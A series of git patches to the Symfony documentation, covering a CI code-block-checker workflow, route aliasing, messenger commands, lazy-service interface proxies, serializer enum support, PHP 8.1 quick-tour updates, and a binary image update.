-    #         with:
-    #             path: ${{ steps.composercache.outputs.dir }}
-    #             key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-    #             restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-    #       - name: Install dependencies
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-    #       - name: Allow Flex
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: |
-    #           composer config --no-plugins allow-plugins.symfony/flex true
-
-    #       - name: Install test application
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: |
-    #           git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-    #           cd _sf_app
-    #           composer update
-
-    #       - name: Generate baseline
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         working-directory: docs
-    #         run: |
-    #           CURRENT=$(git rev-parse HEAD)
-    #           git checkout -m ${{ github.base_ref }}
-    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-    #           git checkout -m $CURRENT
-    #           cat baseline.json
-
-    #       - name: Verify examples
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         working-directory: docs
-    #         run: |
-    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+            with:
+                path: 'docs'
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.1
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            working-directory: docs
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            working-directory: docs
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            working-directory: docs/_build
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            uses: actions/cache@v2
+            with:
+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
diff --git a/_build/composer.json b/_build/composer.json
index fd7ec177c15..57b77fa5808 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -8,7 +8,10 @@
         "preferred-install": {
             "*": "dist"
         },
-        "sort-packages": true
+        "sort-packages": true,
+        "allow-plugins": {
+            "symfony/flex": true
+        }
     },
     "require": {
         "php": ">=7.4",
diff --git a/security.rst b/security.rst
index 9adfe5f252c..2b4ee776d63 100644
--- a/security.rst
+++ b/security.rst
@@ -4,7 +4,6 @@
 Security
 ========
 
-
 Symfony provides many tools to secure your application. Some HTTP-related
 security tools, like :doc:`secure session cookies </session>` and
 :doc:`CSRF protection </security/csrf>` are provided by default. The

From 1c82adfba8346f741688856061a1b6f26d3eb48a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 15:43:50 +0200
Subject: [PATCH 3488/7107] Minor tweak

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index e83c60e20c0..d1d9ad3ced3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1250,7 +1250,7 @@ disable asynchronous delivery.
 
 .. versionadded:: 6.1
 
-    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop()`
+    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
 Adding Tags and Metadata to Emails

From f9ddbded385c36471024f375f56298a1d50926c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 16:19:38 +0200
Subject: [PATCH 3489/7107] Minor tweak

---
 components/lock.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 1c141e16e73..d7bdaad7ddf 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -365,6 +365,11 @@ Store                                                       Scope   Blocking  Ex
 :ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
 ==========================================================  ======  ========  ======== =======
 
+.. tip::
+
+    A special ``InMemoryStore`` is available for saving locks in memory during
+    a process, and can be useful for testing.
+
 .. _lock-store-flock:
 
 FlockStore
@@ -667,14 +672,6 @@ PHP process is terminated::
     Zookeeper does not require a TTL as the nodes used for locking are ephemeral
     and die when the PHP process is terminated.
 
-InMemoryStore
-~~~~~~~~~~~~~
-
-.. tip::
-
-    An ``InMemoryStore`` is available for saving lock in memory during a process,
-    and can be useful for testing.
-
 Reliability
 -----------
 

From 90edeb3732002aa9a13582c01b9cb92aa85eebbf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:13:44 +0200
Subject: [PATCH 3490/7107] Minor tweak

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f202d32f1b5..91dabffec75 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1366,7 +1366,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
-                # add this to remove the parameters when redirecting
+                # add this to remove the original route attributes when redirecting
                 ignoreAttributes: true
 
         legacy_doc:

From cfd203dc9dd9831596493c0648ab228e4d769d48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:27:54 +0200
Subject: [PATCH 3491/7107] Tweaks

---
 routing.rst | 129 ++++++++++++++++++++++++++--------------------------
 1 file changed, 65 insertions(+), 64 deletions(-)

diff --git a/routing.rst b/routing.rst
index d888015b965..afe5a5d790d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1470,110 +1470,111 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. _routing-alias:
 
-Aliasing
---------
+Route Aliasing
+--------------
 
 .. versionadded:: 5.4
 
     Support for route aliases was introduced in Symfony 5.4.
 
-You may sometimes want to have multiple names for the same route. You can do so by
-aliasing them.
+Route alias allow you to have multiple name for the same route:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-      # config/routes.yaml
-      alias_name:
-          alias: target_route_name
+        # config/routes.yaml
+        new_route_name:
+            alias: original_route_name
 
     .. code-block:: xml
 
-      <!-- config/routes.xml -->
-      <?xml version="1.0" encoding="UTF-8" ?>
-      <routes xmlns="http://symfony.com/schema/routing"
-          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-          xsi:schemaLocation="http://symfony.com/schema/routing
-              https://symfony.com/schema/routing/routing-1.0.xsd">
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
 
-          <route id="alias_name" alias="target_route_name"/>
-      </routes>
+            <route id="new_route_name" alias="original_route_name"/>
+        </routes>
 
     .. code-block:: php
 
-      // config/routes.php
-      use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->alias('new_route_name', 'original_route_name');
+        };
 
-      return function (RoutingConfigurator $routes) {
-          $routes->alias('alias_name', 'target_route_name');
-      };
+In this example, both ``original_route_name`` and ``new_route_name`` routes can
+be used in the application and will produce the same result.
 
 .. _routing-alias-deprecation:
 
 Deprecating Route Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you decide to deprecate the use of a route alias (because it is outdated or
+If some route alias should no longer be used (because it is outdated or
 you decided not to maintain it anymore), you can deprecate its definition:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-      alias_name:
-          alias: target_route_name
+        new_route_name:
+            alias: original_route_name
 
-          # this outputs the following generic deprecation message:
-          # Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
-          deprecated:
-              package: 'acme/package'
-              version: '1.2'
+            # this outputs the following generic deprecation message:
+            # Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
 
-          # you can also define a custom deprecation message (%alias_id% placeholder is available)
-          deprecated:
-              package: 'acme/package'
-              version: '1.2'
-              message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+            # you can also define a custom deprecation message (%alias_id% placeholder is available)
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
+                message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
 
     .. code-block:: xml
 
-      <?xml version="1.0" encoding="UTF-8" ?>
-      <routes xmlns="http://symfony.com/schema/routing"
-          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-          xsi:schemaLocation="http://symfony.com/schema/routing
-              https://symfony.com/schema/routing/routing-1.0.xsd">
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
 
-          <route id="alias_name" alias="target_route_name">
-              <!-- this outputs the following generic deprecation message:
-                   Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
-              <deprecated package="acme/package" version="1.2"/>
+            <route id="new_route_name" alias="original_route_name">
+                <!-- this outputs the following generic deprecation message:
+                     Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+                <deprecated package="acme/package" version="1.2"/>
 
-              <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
-              <deprecated package="acme/package" version="1.2">
-                  The "%alias_id%" route alias is deprecated. Do not use it anymore.
-              </deprecated>
-          </route>
-      </routes>
+                <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+                <deprecated package="acme/package" version="1.2">
+                    The "%alias_id%" route alias is deprecated. Do not use it anymore.
+                </deprecated>
+            </route>
+        </routes>
 
     .. code-block:: php
 
-      $routes->alias('alias_name', 'target_route_name')
-
-          // this outputs the following generic deprecation message:
-          // Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
-          ->deprecate('acme/package', '1.2', '')
-
-          // you can also define a custom deprecation message (%alias_id% placeholder is available)
-          ->deprecate(
-              'acme/package',
-              '1.2',
-              'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
-          )
-      ;
-
-Now, every time this route alias is used, a deprecation warning is triggered,
-advising you to stop or to change your uses of that alias.
+        $routes->alias('new_route_name', 'original_route_name')
+            // this outputs the following generic deprecation message:
+            // Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            ->deprecate('acme/package', '1.2', '')
+
+            // you can also define a custom deprecation message (%alias_id% placeholder is available)
+            ->deprecate(
+                'acme/package',
+                '1.2',
+                'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+            )
+        ;
+
+In this example, every time the ``new_route_name`` alias is used, a deprecation
+warning is triggered, advising you to stop using that alias.
 
 The message is actually a message template, which replaces occurrences of the
 ``%alias_id%`` placeholder by the route alias name. You **must** have

From d8d38286e24f5325333b340272f22e20ce58505e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:28:46 +0200
Subject: [PATCH 3492/7107] Remove a versionadded directive

---
 routing.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index edf54de0e94..333c75736c0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1463,10 +1463,6 @@ A possible solution is to change the parameter requirements to be more permissiv
 Route Aliasing
 --------------
 
-.. versionadded:: 5.4
-
-    Support for route aliases was introduced in Symfony 5.4.
-
 Route alias allow you to have multiple name for the same route:
 
 .. configuration-block::

From 9d5ac10a2ef08c0e7af3c52e699beabe19a1352a Mon Sep 17 00:00:00 2001
From: fguimier <florian.guimier@gmail.com>
Date: Thu, 10 Dec 2020 11:55:37 +0100
Subject: [PATCH 3493/7107] Update messenger.rst

Update exemples for the messenger:failed:show command

Add documentation regarding this PR https://github.com/symfony/symfony/pull/39330
---
 messenger.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0f85773905d..b7fcf40f93e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -924,8 +924,17 @@ to retry them:
 
 .. code-block:: terminal
 
-    # see all messages in the failure transport
+    # see all messages in the failure transport with a default limit of 50
     $ php bin/console messenger:failed:show
+    
+    # see the 10 first messages
+    $ php bin/console messenger:failed:show --max=10
+
+    # see only MyClass messages
+    $ php bin/console messenger:failed:show --class-filter='MyClass'
+
+    # see the number of messages by message class
+    $ php bin/console messenger:failed:show --stats
 
     # see details about a specific failure
     $ php bin/console messenger:failed:show 20 -vv

From 529e4201290e1d04258007086b936465d34a9e33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 17:50:27 +0200
Subject: [PATCH 3494/7107] Minor tweak

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b7fcf40f93e..c7799cf93c7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -951,6 +951,10 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
+.. versionadded:: 6.2
+
+    The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.

From f86b97693b3afbb3f0d023fc10b253aae8c1a942 Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Wed, 3 Aug 2022 12:39:37 -0400
Subject: [PATCH 3495/7107] [DI] Document proxifying interfaces for lazy
 services

Symfony 4.2 introduced the possibility to lazy load services using final classes by proxyfying specific interfaces, but this has not been documented yet.
---
 service_container/lazy_services.rst | 78 ++++++++++++++++++++++++++++-
 1 file changed, 77 insertions(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 0370e52b0ff..ed83a302df3 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -25,7 +25,8 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes.
+    Lazy services do not support `final`_ classes. You can use `Interface
+    Proxifying`_ to work around this limitation.
 
 Installation
 ------------
@@ -97,6 +98,81 @@ To check if your proxy works you can check the interface of the received object:
     `ocramius/proxy-manager`_, the container will skip over the ``lazy``
     flag and directly instantiate the service as it would normally do.
 
+Interface Proxifying
+--------------------
+
+Under the hood, proxies generated to lazily load services inherit from the class
+used by the service. But sometimes this is not possible at all (`final`_ classes
+can not be extended for example) or not convenient.
+
+To workaround this limitation, you can configure a proxy to only implements
+specific interfaces.
+
+.. versionadded:: 4.2
+
+    Proxyfying interfaces was introduced in Symfony 4.2.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Twig\AppExtension:
+                lazy: 'Twig\Extension\ExtensionInterface'
+                # or a complete definition:
+                lazy: true
+                tags:
+                    - { name: 'proxy', interface: 'Twig\Extension\ExtensionInterface' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Twig\AppExtension" lazy="Twig\Extension\ExtensionInterface"/>
+                <!-- or a complete definition: -->
+                <service id="App\Twig\AppExtension" lazy="true">
+                    <tag name="proxy" interface="Twig\Extension\ExtensionInterface"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Twig\AppExtension;
+        use Twig\Extension\ExtensionInterface;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(AppExtension::class)
+                ->lazy()
+                ->tag('proxy', ['interface' => ExtensionInterface::class])
+            ;
+        };
+
+The virtual `proxy`_ injected into other services will only implement the
+specified interfaces and will not extend the original service class allowing to
+lazy load service using `final`_ classes. You can configure the proxy to
+implement multiple interfaces by repeating the "proxy" tag.
+
+.. tip::
+
+    This features can also act as a "safe guard". Because the proxy does not
+    extends the original class, only the methods defined by the interfaces can
+    be called, preventing to call implementation specific one. It also prevents
+    injecting the dependency at all if you type hinted a concrete implementation
+    instead of the interface.
+
 Additional Resources
 --------------------
 

From ffc4856ccd6123af725999ae154d25546a98c4d4 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:42:44 +0200
Subject: [PATCH 3496/7107] [Serializer] Document support of PHP backed
 enumerations

---
 components/serializer.rst | 8 ++++++++
 serializer.rst            | 6 ++++++
 2 files changed, 14 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d20c98d39c7..5a04f2d3621 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -897,6 +897,14 @@ The Serializer component provides several built-in normalizers:
     This normalizer converts :phpclass:`DateInterval` objects into strings.
     By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts a \BackedEnum objects into strings or integers.
+
+.. versionadded:: 5.4
+
+    The ``BackedEnumNormalizer`` was introduced in Symfony 
+    5.4. PHP BackedEnum require at least PHP 8.1.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
diff --git a/serializer.rst b/serializer.rst
index 0b705aa5a41..cd00ebe1bad 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -80,6 +80,12 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    was introduced in Symfony 5.4. PHP BackedEnum require at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 9754f2c1500be2fc3e246fb2ec779bc6c106d165 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 3 Aug 2022 20:57:39 +0200
Subject: [PATCH 3497/7107] [QuickTour] improve Symfony v6.1 requires PHP v8.1+

---
 quick_tour/flex_recipes.rst     | 21 +++++++++------------
 quick_tour/the_architecture.rst | 32 ++++++++++++--------------------
 quick_tour/the_big_picture.rst  | 19 ++++++++-----------
 3 files changed, 29 insertions(+), 43 deletions(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..b19dc5fc2da 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -23,10 +23,10 @@ are included in your ``composer.json`` file:
 
     "require": {
         "...",
-        "symfony/console": "^4.1",
-        "symfony/flex": "^1.0",
-        "symfony/framework-bundle": "^4.1",
-        "symfony/yaml": "^4.1"
+        "symfony/console": "^6.1",
+        "symfony/flex": "^2.0",
+        "symfony/framework-bundle": "^6.1",
+        "symfony/yaml": "^6.1"
     }
 
 This makes Symfony different from any other PHP framework! Instead of starting with
@@ -86,10 +86,8 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - class DefaultController
     + class DefaultController extends AbstractController
       {
-           /**
-            * @Route("/hello/{name}")
-            */
-           public function index($name)
+           #[Route('/hello/{name}', methods: ['GET'])]
+           public function index(string $name): Response
            {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
@@ -159,16 +157,15 @@ Are you building an API? You can already return JSON from any controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
         // ...
 
-        /**
-         * @Route("/api/hello/{name}")
-         */
-        public function apiExample($name)
+        #[Route('/api/hello/{name}', methods: ['GET'])]
+        public function apiHello(string$name): JsonResponse
         {
             return $this->json([
                 'name' => $name,
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..9ba2ce9f305 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -27,14 +27,13 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
 
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
-        public function index($name, LoggerInterface $logger)
+        #[Route('/hello/{name}', methods: ['GET'])]
+        public function index(string $name, LoggerInterface $logger): Response
         {
             $logger->info("Saying hello to $name!");
 
@@ -93,7 +92,7 @@ this code directly in your controller, create a new class::
 
     class GreetingGenerator
     {
-        public function getRandomGreeting()
+        public function getRandomGreeting(): string
         {
             $greetings = ['Hey', 'Yo', 'Aloha'];
             $greeting = $greetings[array_rand($greetings)];
@@ -102,7 +101,7 @@ this code directly in your controller, create a new class::
         }
     }
 
-Great! You can use this immediately in your controller::
+Great! You can use it immediately in your controller::
 
     <?php
     // src/Controller/DefaultController.php
@@ -111,14 +110,13 @@ Great! You can use this immediately in your controller::
     use App\GreetingGenerator;
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
-        public function index($name, LoggerInterface $logger, GreetingGenerator $generator)
+        #[Route('/hello/{name}', methods: ['GET'])]
+        public function index(string $name, LoggerInterface $logger, GreetingGenerator $generator): Response
         {
             $greeting = $generator->getRandomGreeting();
 
@@ -141,14 +139,11 @@ difference is that it's done in the constructor:
 
       class GreetingGenerator
       {
-    +     private $logger;
-    +
-    +     public function __construct(LoggerInterface $logger)
+    +     public function __construct(private readonly LoggerInterface $logger)
     +     {
-    +         $this->logger = $logger;
     +     }
 
-          public function getRandomGreeting()
+          public function getRandomGreeting(): string
           {
               // ...
 
@@ -178,11 +173,8 @@ that extends ``AbstractExtension``::
 
     class GreetExtension extends AbstractExtension
     {
-        private $greetingGenerator;
-
-        public function __construct(GreetingGenerator $greetingGenerator)
+        public function __construct(private readonly GreetingGenerator $greetingGenerator)
         {
-            $this->greetingGenerator = $greetingGenerator;
         }
 
         public function getFilters()
@@ -192,7 +184,7 @@ that extends ``AbstractExtension``::
             ];
         }
 
-        public function greetUser($name)
+        public function greetUser(string $name): string
         {
             $greeting =  $this->greetingGenerator->getRandomGreeting();
 
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34ebc1e1b96..e56efdf99cc 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -14,7 +14,7 @@ safe & easy!) and offers long-term support.
 Downloading Symfony
 -------------------
 
-First, make sure you've installed `Composer`_ and have PHP 8.0.2 or higher.
+First, make sure you've installed `Composer`_ and have PHP 8.1 or higher.
 
 Ready? In a terminal, run:
 
@@ -88,7 +88,7 @@ method inside::
 
     class DefaultController
     {
-        public function index()
+        public function index(): Response
         {
             return new Response('Hello!');
         }
@@ -125,7 +125,7 @@ like a wildcard that matches anything. And it gets better! Update the controller
       class DefaultController
       {
     -     public function index()
-    +     public function index($name)
+    +     public function index(string $name): Response
           {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
@@ -164,10 +164,9 @@ Instead, add the route *right above* the controller method:
 
       class DefaultController
       {
-    +    /**
-    +     * @Route("/hello/{name}")
-    +     */
-           public function index($name) {
+    +      #[Route('/hello/{name}', methods: ['GET'])]
+           public function index(string $name): Response
+           {
                // ...
            }
       }
@@ -187,10 +186,8 @@ in ``DefaultController``::
     {
         // ...
 
-        /**
-         * @Route("/simplicity")
-         */
-        public function simple()
+        #[Route('/simplicity', methods: ['GET'])]
+        public function simple(): Response
         {
             return new Response('Simple! Easy! Great!');
         }

From 3d3e393ea66773ef30f9f57dd90ad20b10d6a5ae Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Thu, 4 Aug 2022 00:37:41 +0300
Subject: [PATCH 3498/7107] #16324 Sync workflow images with provided
 configuration on docs

---
 _images/components/workflow/blogpost.png      | Bin 26550 -> 20638 bytes
 .../components/workflow/blogpost_mermaid.png  | Bin 24123 -> 20521 bytes
 _images/components/workflow/blogpost_puml.png | Bin 15954 -> 13747 bytes
 3 files changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/components/workflow/blogpost.png b/_images/components/workflow/blogpost.png
index 38e29250eb1d92a08cabefd6cb899824e936cfe9..b7f51eabb435082ba98aafac7e36c8d44eee885a 100644
GIT binary patch
literal 20638
zcma*P2RzsR`!236Qlx=GQiKv&p(qt4kv+;Nn<6Wlh9W|evW4uGknE%=WzX!r_ukI+
zs=ntu&N;u||NOt7Z=X-;{eF$-xbN$}uIqk2yDlw3K}JVLLPA1u<?=;25|WJx_<c9&
zR{T4{Tm3iwv-S2>iHjub#6NHIVth$R4v}2BcwWIKc%;?&X4(Au`s9tM_E)D=kNv3N
zt4^d2(tFO*E8$e}{RLlBu0U$0|A?pI)65kck3}D;8;SFDZFMvU+HBG!{fp;x<5*NJ
zuM0(mwTpgS;wnuUvKl&*{O0N#54+Xuu$sx!-l6@oc4ucxfByVQB}U5RLMgU<ahN0I
z+@IgN#a~Wi$B#&v(qHo?{QYZVJ~^QW_>nC2hqN?7$EEaYZp%<tSJ!GPOEGEbophd0
zZ)BQ;R~Z~TcI@r@_b*tk1!@@?xj%chy|1rNMOF2do?f(N3+v&scuFz1t(`N2HNOIQ
zBnD}OWCH5~qm&Y^NK3Qu@%g2v^PW0&>avVX%-gpe;q$ld-t~O^c+<|EI~$vuYqBi#
zgF`~NPo0YY*25<esEDVgkd%{qiASi;cU<oAenR&mEKEjBY~z(HSB|i-ybKI<fB0}i
z(v8gG!om##0s`WmbWcJ;==JpU{FvkRYG!3+?b)|a?)voy;*sZ*lzc-&H5RQFCT=Bb
z<hlF!P?eXL$11QZu<upRwmh$?DO|DBPfzjB_?*|()je|bDAj=jKOb(|_Q`RXA5Zw{
z)2EK{ahZzHvxY67CNGTs{PJZZIk`uUQ+<MRN=|;oj~|^qKYWiIIr843U%Ec&hO4J1
zMM~}z*@dS&!nI4h_~sgo9{n3^vhU^PEbQ#=3kx>2MtrT=R?J*nFPv7FT5ImrztbxV
ztSWGJUYZ}@b<W6$-F|L_Nkk-cv^lf8r|0YYTSXIdbM@}>Ti&VeB_=NR!W&NY+r#xq
